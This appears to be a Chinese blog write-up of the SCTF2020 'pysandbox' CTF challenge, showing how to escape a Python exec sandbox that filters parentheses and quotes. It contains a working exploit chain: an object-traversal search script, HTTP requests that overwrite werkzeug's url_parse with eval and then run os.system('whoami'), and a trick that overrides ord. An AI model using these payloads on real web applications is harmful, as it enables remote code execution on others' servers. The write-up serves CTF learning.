[SCTF2020] pysandbox

Python沙盒逃逸之过滤小括号和引号

当时做题的时候盯着这张图看了一天🤨:
在这里插入图片描述
哈哈哈,来康题目。

from flask import Flask, request

app = Flask(__name__)


@app.route('/', methods=["POST","GET"])
def security():
    secret = request.form["cmd"]
    for i in secret:
        if not 42 <= ord(i) <= 122: return "error!"

    exec(secret)
    return "xXXxXXx"


if __name__ == '__main__':
    app.run(host="0.0.0.0")

42-122,也就是*z。关键是过滤了小括号和引号。
过滤小括号就蒙了啊,ssit工具一把梭,提示Python命令盲注,但其实构造出普通的利用链木有用,会报error:
在这里插入图片描述
难受的一批啊。
这里分享两种绕过的方法


A

官方wp,通过构造出werkzeug.urls.url_parse使其等于eval或者system。
因为过滤了小括号不能直接import,需要找继承链。

import flask
import os
from flask import request
from flask import g
from flask import config

app = flask.Flask(__name__)
app.config['FLAG'] = 'secret'

def search(obj, max_depth):
    visited_clss = []
    visited_objs = []

    def visit(obj, path='obj', depth=0):
        yield path, obj

        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            # print(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)

        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in ('__globals__', '__class__', '__self__',
                                '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass

        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

    yield from visit(obj)

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    with open("1.txt","w") as txt:
        for path, obj in search(request, 15):
            
            txt.write(str(path)+"\n")
            if "werkzeug.urls" in str(path):
            
                print(str(path))
                return "yes"
        # print("----------------------")
        # if str(obj) == app.config['FLAG']:
        #     return path

if __name__ == '__main__':
    app.run(debug=True)

可以mark一下深入学习
https://www.cnblogs.com/Cl0ud/p/12316287.html
找到如下继承链:

request.__class__._get_current_object.__globals__['__loader__'].__class__.__weakref__.__objclass__.contents.__globals__['__loader__'].exec_module.__globals__['_bootstrap_external']._bootstrap.sys.modules['werkzeug.urls']

然后是绕过引号,有两种方法,构造出chr打印引号,还有就是通过外部可控参数如request.host等。所以最后构造出来的请求奇奇怪怪的。

POST / HTTP/1.1
Host: __loader__
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: experimentation_subject_id=IjA3OWUxNDU0LTdiNmItNDhmZS05N2VmLWYyY2UyM2RmZDEyMyI%3D--a3effd8812fc6133bcea4317b16268364ab67abb; lang=zh-CN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-MD5: _bootstrap_external
Content-Encoding: werkzeug.urls
Content-Type: application/x-www-form-urlencoded
Content-Length: 246

cmd=request.__class__._get_current_object.__globals__[request.host].__class__.__weakref__.__objclass__.contents.__globals__[request.host].exec_module.__globals__[request.content_md5]._bootstrap.sys.modules[request.content_encoding].url_parse=eval
POST __import__('os').system('whoami') HTTP/1.1
Host: __loader__
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: experimentation_subject_id=IjA3OWUxNDU0LTdiNmItNDhmZS05N2VmLWYyY2UyM2RmZDEyMyI%3D--a3effd8812fc6133bcea4317b16268364ab67abb; lang=zh-CN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-MD5: _bootstrap_external
Content-Encoding: werkzeug.urls
Content-Type: application/x-www-form-urlencoded
Content-Length: 246

cmd=request.__class__._get_current_object.__globals__[request.host].__class__.__weakref__.__objclass__.contents.__globals__[request.host].exec_module.__globals__[request.content_md5]._bootstrap.sys.modules[request.content_encoding].url_parse=eval

通过第一个poc把ur_parse改成eval,再通过第二个完成rce。
在这里插入图片描述
在这里插入图片描述


B

通过更改ord函数使其不管怎样都返回规定的数字。

__builtins__.ord=lambda*args:45

然后直接RCE就行了…
姿势和技术深度同样重要。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值